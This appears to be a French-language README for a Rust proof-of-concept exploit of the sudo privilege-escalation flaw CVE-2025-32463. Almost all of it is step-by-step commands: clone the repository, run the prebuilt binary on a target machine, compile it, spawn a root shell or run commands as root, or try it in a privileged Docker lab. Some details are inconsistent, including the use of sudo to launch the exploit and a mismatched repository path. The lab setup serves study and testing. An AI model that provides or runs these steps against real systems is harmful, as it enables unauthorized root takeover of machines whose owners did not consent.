CVE-2025-32463 Exploit d'élévation de privilèges Sudo PoC (Rust)

Utilisation du binaire précompilé

1. Clonez le dépôt et exécutez le binaire sur la machine cible.

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

Compilation à partir des sources

1. Clonez le dépôt (si ce n'est pas déjà fait)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. Compilez le binaire Rust en mode release

cargo build --release

Le binaire compilé se trouvera à :

./target/release/CVE-2025-32463-Chwoot-POC

---

Utilisation

Exécutez le binaire de l'exploit avec des arguments de commande optionnels :

• Pour lancer un shell root interactif :

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• Pour exécuter une commande spécifique en tant que root (par exemple, id) :

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

---

Utilisation avec Docker

Sinon, utilisez le conteneur Docker fourni pour un environnement vulnérable isolé avec toutes les dépendances installées.

1. Construisez l'image Docker

docker build -t sudo-chwoot .

2. Exécutez le conteneur de manière interactive (si cela n'a pas fonctionné, essayez d'utiliser l'ID de l'image au lieu de sudo-chwoot. Vous pouvez l'obtenir avec sudo docker images)

docker run --rm -it --privileged sudo-chwoot 

3. À l'intérieur du conteneur, exécutez l'exploit

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC